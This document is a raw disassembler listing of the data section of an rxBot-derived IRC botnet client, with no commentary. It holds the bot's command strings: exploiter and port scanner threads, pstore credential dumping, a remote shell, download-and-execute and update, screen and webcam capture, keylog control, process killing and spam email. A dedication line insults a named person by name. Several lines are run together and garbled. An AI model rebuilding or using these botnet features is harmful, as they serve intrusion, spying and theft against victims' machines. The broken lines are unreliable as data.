dword_438894 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401C87+21FCo
dd 746F4220h, 2Eh
dword_4388B0 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401C87+2251o
dd 2E6F666Eh, 0
dword_4388CC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401C87+2280o
dd 6F666E49h, 2Eh
dword_4388E8 dd 7325h dword_4388EC dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401C87+2304o
dd 2E676Fh
unk_438904 db 2Dh ; - ; DATA XREF: sub_401C87+237Bo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToStar_4 db '- Failed to start listing thread, error: <%d>.',0
dword_43893C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401C87+23ABo
dd 2E7473h
dword_438954 dd 627573h dword_438958 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401C87+2423o
dd 65726874h, 2E736461h, 0
unk_438978 db 2Dh ; - ; DATA XREF: sub_401C87+247Co
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToStar_5 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_4389B4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401C87+24A6o
dd 2E7325h
unk_4389CC db 2Dh ; - ; DATA XREF: sub_401C87+24E4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+2530o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4041C9o
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4041E0o
align 4
dword_438A2C dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401C87+2566o
dd 6E697463h, 2E67h
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_404202o
align 10h
dword_438A60 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401C87+2588o
dd 676E6974h, 2Eh
dword_438A7C dd 636F7250h, 20737365h, 7473696Ch, 0dword_438A8C dd 234032Dh, 636F7270h, 2D030273h, 0dword_438A9C dd 646E6946h, 6C696620h, 65hdword_438AA8 dd 234032Dh, 646E6966h, 656C6966h, 2D0302hunk_438AB8 db 2Dh ; - ; DATA XREF: sub_401C87+2694o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStarte_0 db ' Server started on: %s:%d.',0
align 4
unk_438AE4 db 2Dh ; - ; DATA XREF: sub_401C87+2702o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0
align 4
aSecure_0 db 'secure',0 ; DATA XREF: sub_401C87+2722o
align 4
aSec_0 db 'sec',0 ; DATA XREF: sub_401C87+2733o
aSecuring db 'Securing',0 ; DATA XREF: sub_401C87+278Eo
align 4
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401C87+2795o
align 4
dword_438B48 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401C87+279Bo
dd 2E6D6574h, 0
dword_438B64 dd 234032Dh, 75636573h, 3026572haFailedToStar_7 db '- Failed to start secure thread, error: <%d>.',0
align 10h
unk_438BA0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4044A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 10h
dword_438C50 dd 234032Dh, 6E69616Dh, 202D0302h, 7325hunk_438C60 db 2Dh ; - ; DATA XREF: sub_401C87+286Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_1 db 'User %s logged out.',0
unk_438C80 db 2Dh ; - ; DATA XREF: sub_401C87+287Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
unk_438CAC db 2Dh ; - ; DATA XREF: sub_401C87+2889o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_438CD8 db 2Dh ; - ; DATA XREF: sub_401C87+28CBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_2 db 'User %s logged out.',0
a332_1 db '332',0 ; DATA XREF: sub_401C87+28DBo
unk_438CFC db 2Dh ; - ; DATA XREF: sub_401C87+2917o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
aPstore db 'pstore',0 ; DATA XREF: sub_401C87+2922o
align 4
aPs_0 db 'ps',0 ; DATA XREF: sub_401C87+2937o
align 4
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401C87+294Co
align 4
aRin db 'rin',0 ; DATA XREF: sub_401C87+2961o
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401C87+2976o
aRinms db 'rinms',0 ; DATA XREF: sub_401C87+298Bo
align 4
aNick_0 db 'nick',0 ; DATA XREF: sub_401C87+29A0o
align 2
aN db 'n',0 ; DATA XREF: sub_401C87+29B5o
aJoin db 'join',0 ; DATA XREF: sub_401C87+29CAo
align 2
aJ db 'j',0 ; DATA XREF: sub_401C87+29DFo
aPart_1 db 'part',0 ; DATA XREF: sub_401C87+29F4o
align 4
aPt db 'pt',0 ; DATA XREF: sub_401C87+2A09o
align 10h
aRaw db 'raw',0 ; DATA XREF: sub_401C87+2A1Eo
aR_0: ; DATA XREF: sub_401C87+2A33o
unicode 0, <r>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_401C87+2A48o
align 4
aK: ; DATA XREF: sub_401C87+2A5Do
unicode 0, <k>,0
aC_quit db 'c_quit',0 ; DATA XREF: sub_401C87+2A72o
align 10h
aC_q db 'c_q',0 ; DATA XREF: sub_401C87+2A87o
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401C87+2A9Co
align 10h
aC_rn db 'c_rn',0 ; DATA XREF: sub_401C87+2AB1o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401C87+2AC6o
align 10h
aPr db 'pr',0 ; DATA XREF: sub_401C87+2ADBo
align 4
aOpen db 'open',0 ; DATA XREF: sub_401C87+2AF0o
align 2
aO db 'o',0 ; DATA XREF: sub_401C87+2B05o
aServer_0 db 'server',0 ; DATA XREF: sub_401C87+2B1Ao
align 4
aSe db 'se',0 ; DATA XREF: sub_401C87+2B2Fo
align 4
aDns db 'dns',0 ; DATA XREF: sub_401C87+2B44o
aDn db 'dn',0 ; DATA XREF: sub_401C87+2B59o
align 10h
aKillproc db 'killproc',0 ; DATA XREF: sub_401C87+2B6Eo
align 4
aKp db 'kp',0 ; DATA XREF: sub_401C87+2B83o
align 10h
aKill db 'kill',0 ; DATA XREF: sub_401C87+2B98o
align 4
aKi db 'ki',0 ; DATA XREF: sub_401C87+2BADo
align 4
aDelete db 'delete',0 ; DATA XREF: sub_401C87+2BC2o
align 4
aDel db 'del',0 ; DATA XREF: sub_401C87+2BD7o
aGet db 'get',0 ; DATA XREF: sub_401C87+2BECo
aGt db 'gt',0 ; DATA XREF: sub_401C87+2C01o
align 10h
aList db 'list',0 ; DATA XREF: sub_401C87+2C16o
align 4
aLi db 'li',0 ; DATA XREF: sub_401C87+2C2Bo
align 4
aVisit db 'visit',0 ; DATA XREF: sub_401C87+2C40o
aV db 'v',0 ; DATA XREF: sub_401C87+2C55o
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401C87+2C6Ao
aMirc db 'mirc',0 ; DATA XREF: sub_401C87+2C7Fo
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401C87+2C94o
aCm db 'cm',0 ; DATA XREF: sub_401C87+2CA9o
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401C87+2CBEo
align 4
aRf db 'rf',0 ; DATA XREF: sub_401C87+2CD3o
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401C87+2CE8o
align 4
aOn db 'on',0 ; DATA XREF: sub_401C87+2CFFo
align 4
dword_438E68 dd 234032Dh, 6E656469h, 3026474haAlreadyRunni_1 db '- Already running.',0
align 4
dword_438E88 dd 234032Dh, 6E656469h, 3026474haServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_438EB4 dd 234032Dh, 6E656469h, 3026474haFailedToStar_8 db '- Failed to start server, error: <%d>.',0
align 4
aOff db 'off',0 ; DATA XREF: sub_401C87+2D85o
dword_438EEC dd 234032Dh, 6E656469h, 3026474haServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_438F24 dd 234032Dh, 6E656469h, 3026474haNoThreadFound_ db '- No thread found.',0
align 4
aNet db 'net',0 ; DATA XREF: sub_401C87+2DBDo
unk_438F48 db 2Dh ; - ; DATA XREF: sub_401C87+2DE1o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aStart db 'start',0 ; DATA XREF: sub_401C87+2E13o
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401C87+2E32o
align 4
unk_438F8C db 2Dh ; - ; DATA XREF: sub_401C87+2E69o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
unk_438FB0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404AFAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
aStop db 'stop',0 ; DATA XREF: sub_401C87+2E80o
align 4
aS_2 db '%s',0 ; DATA XREF: sub_401C87+2E9Bo
align 4
aPause db 'pause',0 ; DATA XREF: sub_401C87+2EA5o
align 4
aS_3 db '%s',0 ; DATA XREF: sub_401C87+2EC0o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401C87+2ECDo
align 4
aS_4 db '%s',0 ; DATA XREF: sub_401C87+2EE8o
align 4
aDelete_0 db 'delete',0 ; DATA XREF: sub_401C87+2EF5o
align 10h
aS_5 db '%s',0 ; DATA XREF: sub_401C87+2F10o
align 4
aShare db 'share',0 ; DATA XREF: sub_401C87+2F1Do
align 4
aS_6 db '%s',0 ; DATA XREF: sub_401C87+2F43o
align 10h
aS_7 db '%s',0 ; DATA XREF: sub_401C87+2F59o
align 4
unk_439014 db 2Dh ; - ; DATA XREF: sub_401C87+2F91o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
unk_439038 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404C22o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
aUser_0 db 'user',0 ; DATA XREF: sub_401C87+2FA8o
align 10h
aS_8 db '%s',0 ; DATA XREF: sub_401C87+2FDEo
align 4
aS_9 db '%s',0 ; DATA XREF: sub_401C87+2FF9o
align 4
aS_10 db '%s',0 ; DATA XREF: sub_401C87+300Ao
align 4
unk_43906C db 2Dh ; - ; DATA XREF: sub_401C87+3042o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_43908C db 2Dh ; - ; DATA XREF: sub_401C87:loc_404CD3o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401C87+3059o
align 4
aS_11 db '%s',0 ; DATA XREF: sub_401C87+3088o
align 4
unk_4390B8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404D22o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
unk_4390DC db 2Dh ; - ; DATA XREF: sub_401C87:loc_404D2Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
aCapture db 'capture',0 ; DATA XREF: sub_401C87+30B0o
aCap db 'cap',0 ; DATA XREF: sub_401C87+30C5o
aGethost db 'gethost',0 ; DATA XREF: sub_401C87+30DAo
aGh db 'gh',0 ; DATA XREF: sub_401C87+30EBo
align 10h
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401C87+3149o
align 10h
unk_439120 db 2Dh ; - ; DATA XREF: sub_401C87+3172o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_439148 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404E0Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
dword_439178 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401C87+31CBo
dd 2E732520h, 0
aScreen db 'screen',0 ; DATA XREF: sub_401C87:loc_404E6Ao
align 4
unk_43919C db 2Dh ; - ; DATA XREF: sub_401C87+3214o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
unk_4391C8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404EABo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing screen.',0
align 4
unk_4391F8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404EB2o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: sub_401C87:loc_404EC5o
unk_43923C db 2Dh ; - ; DATA XREF: sub_401C87+3295o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
unk_439264 db 2Dh ; - ; DATA XREF: sub_401C87+32CBo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
aFrame db 'frame',0 ; DATA XREF: sub_401C87:loc_404F5Fo
align 4
unk_439294 db 2Dh ; - ; DATA XREF: sub_401C87+3352o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
unk_4392C0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404FE9o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
unk_4392F4 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404FF0o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for webcam capture.',0
align 4
aVideo db 'video',0 ; DATA XREF: sub_401C87:loc_405003o
align 4
unk_439334 db 2Dh ; - ; DATA XREF: sub_401C87+3409o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 10h
unk_439360 db 2Dh ; - ; DATA XREF: sub_401C87:loc_40509Ao
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing amateur video from webcam.',0
dword_4393A0 dd 234032Dh, 74706163h, 2657275h, 49202D03h, 6C61766Eh
; DATA XREF: sub_401C87:loc_4050A4o
dd 70206469h, 6D617261h, 72657465h, 6F662073h, 6D612072h
dd 75657461h, 69762072h, 206F6564h, 74706163h, 2E657275h
db 2 dup(0)
word_4393DE dw 72h ; DATA XREF: sub_401C87:loc_4050AEo
unk_4393E0 db 2Dh ; - ; DATA XREF: sub_401C87+3492o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
dword_439404 dd 234032Dh, 6E69616Dh, 202D0302h, 64616552h, 6C696620h
; DATA XREF: sub_401C87+34A8o
dd 61662065h, 64656C69h, 7325203Ah
db 2 dup(0)
word_439426 dw 0Ah ; DATA XREF: sub_401C87+34D2o
unk_439428 db 2Dh ; - ; DATA XREF: sub_401C87+34F0o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
dword_439454 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401C87+34F8o
dd 732520h
unk_43946C db 2Dh ; - ; DATA XREF: sub_401C87+3537o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_43948C dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401C87:loc_4051C5o
dd 746E6573h, 2Eh
dword_4394A8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401C87+35E7o
dd 2Eh
unk_4394C0 db 2Dh ; - ; DATA XREF: sub_401C87+3640o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStar_9 db ' Failed to start connection thread, error: <%d>.',0
align 10h
dword_439500 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401C87+3683o
dd 0
dword_439518 dd 7325h unk_43951C db 2Dh ; - ; DATA XREF: sub_401C87+36F7o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
unk_439540 db 2Dh ; - ; DATA XREF: sub_401C87+3750o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_10 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_43957C dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401C87+377Fo
dd 27732527h, 2Eh
dword_439598 dd 234032Dh, 656C6966h, 2D0302hunk_4395A4 db 2Dh ; - ; DATA XREF: sub_401C87+37C7o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
unk_4395C8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405455o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process ID: %s',0
unk_4395F8 db 2Dh ; - ; DATA XREF: sub_401C87+3828o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_439618 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4054B9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process: %s',0
align 4
unk_439648 db 2Dh ; - ; DATA XREF: sub_401C87+3863o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_439668 db 2Dh ; - ; DATA XREF: sub_401C87+3896o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS__0 db '- Lookup: %s -> %s.',0
align 4
unk_439688 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405524o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 10h
unk_4396B0 db 2Dh ; - ; DATA XREF: sub_401C87+38BDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
aOpen_0 db 'open',0 ; DATA XREF: sub_401C87+38D7o
align 10h
unk_4396E0 db 2Dh ; - ; DATA XREF: sub_401C87+38F0o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_439700 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405581o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_439724 db 2Dh ; - ; DATA XREF: sub_401C87+3913o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401C87+3959o
aS_24 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+396Eo
align 4
aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87+399Co
align 4
aAll db 'all',0 ; DATA XREF: sub_401C87+3A29o
unk_439770 db 2Dh ; - ; DATA XREF: sub_401C87+3A43o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
unk_439798 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4056D4o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_4397C0 db 2Dh ; - ; DATA XREF: sub_401C87+3A98o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_4397E4 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405726o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
aS_25 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3B07o
align 4
dword_439818 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401C87+3B15o
dd 2E732520h, 0
dword_439834 dd 54524150h, 0D732520h, 0Ahunk_439840 db 2Dh ; - ; DATA XREF: sub_401C87+3B2Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
aJoinSS_1 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3B40o
align 4
unk_439874 db 2Dh ; - ; DATA XREF: sub_401C87+3B50o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
aNickS_1 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3B5Do
align 4
unk_4398A4 db 2Dh ; - ; DATA XREF: sub_401C87+3B6Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_405806o
align 10h
unk_4398E0 db 2Dh ; - ; DATA XREF: sub_401C87+3B95o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s ms',0
align 4
aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_40584Co
align 4
unk_43991C db 2Dh ; - ; DATA XREF: sub_401C87+3BDBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s seconds',0
align 4
aExecutedPstore db 'Executed pstore',0 ; DATA XREF: sub_401C87+3C2Bo
aKilllog db 'killlog',0 ; DATA XREF: sub_401C87+3C90o
aKl db 'kl',0 ; DATA XREF: sub_401C87+3CA5o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401C87+3CBAo
align 4
aAa db 'aa',0 ; DATA XREF: sub_401C87+3CCFo
align 10h
aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401C87+3CE4o
aPm db 'pm',0 ; DATA XREF: sub_401C87+3CF9o
align 4
aAction db 'action',0 ; DATA XREF: sub_401C87+3D0Eo
align 4
aA: ; DATA XREF: sub_401C87+3D23o
unicode 0, <a>,0
aCycle db 'cycle',0 ; DATA XREF: sub_401C87+3D38o
align 10h
aCy db 'cy',0 ; DATA XREF: sub_401C87+3D4Do
align 4
aMode db 'mode',0 ; DATA XREF: sub_401C87+3D62o
align 2
aM db 'm',0 ; DATA XREF: sub_401C87+3D77o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401C87+3D8Co
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401C87+3DA1o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401C87+3DB6o
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401C87+3DCBo
aC_nick db 'c_nick',0 ; DATA XREF: sub_401C87+3DE0o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401C87+3DF5o
aC_join db 'c_join',0 ; DATA XREF: sub_401C87+3E0Ao
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401C87+3E1Fo
aC_part db 'c_part',0 ; DATA XREF: sub_401C87+3E34o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401C87+3E49o
aUpdate db 'update',0 ; DATA XREF: sub_401C87+3E5Eo
align 10h
aUp_0 db 'up',0 ; DATA XREF: sub_401C87+3E73o
align 4
aExecute db 'execute',0 ; DATA XREF: sub_401C87+3E88o
aE: ; DATA XREF: sub_401C87+3E9Do
unicode 0, <e>,0
aFindfile db 'findfile',0 ; DATA XREF: sub_401C87+3EB2o
align 4
aFf db 'ff',0 ; DATA XREF: sub_401C87+3EC7o
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401C87+3EDCo
align 4
aMv db 'mv',0 ; DATA XREF: sub_401C87+3EF1o
align 4
aClone_0 db 'clone',0 ; DATA XREF: sub_401C87+3F18o
aC db 'c',0 ; DATA XREF: sub_401C87+3F2Do
aDownload db 'download',0 ; DATA XREF: sub_401C87+3F42o
align 10h
aDl db 'dl',0 ; DATA XREF: sub_401C87+3F57o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401C87+3F6Co
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401C87+3F81o
align 4
aScan_1 db 'scan',0 ; DATA XREF: sub_401C87+3F96o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401C87+3FABo
align 10h
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401C87+3FC0o
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_401C87+3FD5o
align 4
aC_action db 'c_action',0 ; DATA XREF: sub_401C87+3FEAo
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401C87+3FFFo
aPortscan db 'portscan',0 ; DATA XREF: sub_401C87+4026o
align 10h
aPsc db 'psc',0 ; DATA XREF: sub_401C87+403Bo
aAdvscan db 'advscan',0 ; DATA XREF: sub_401C87+4050o
aAsc db 'asc',0 ; DATA XREF: sub_401C87+4065o
aNetsend db 'netsend',0 ; DATA XREF: sub_401C87+407Ao
aNs db 'ns',0 ; DATA XREF: sub_401C87+408Fo
align 4
aEmail db 'email',0 ; DATA XREF: sub_401C87+40A4o
asc_439A92 db ' ',0 ; DATA XREF: sub_401C87+40F0o
a_: ; DATA XREF: sub_401C87+40F5o
unicode 0, <_>,0
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401C87+4191o
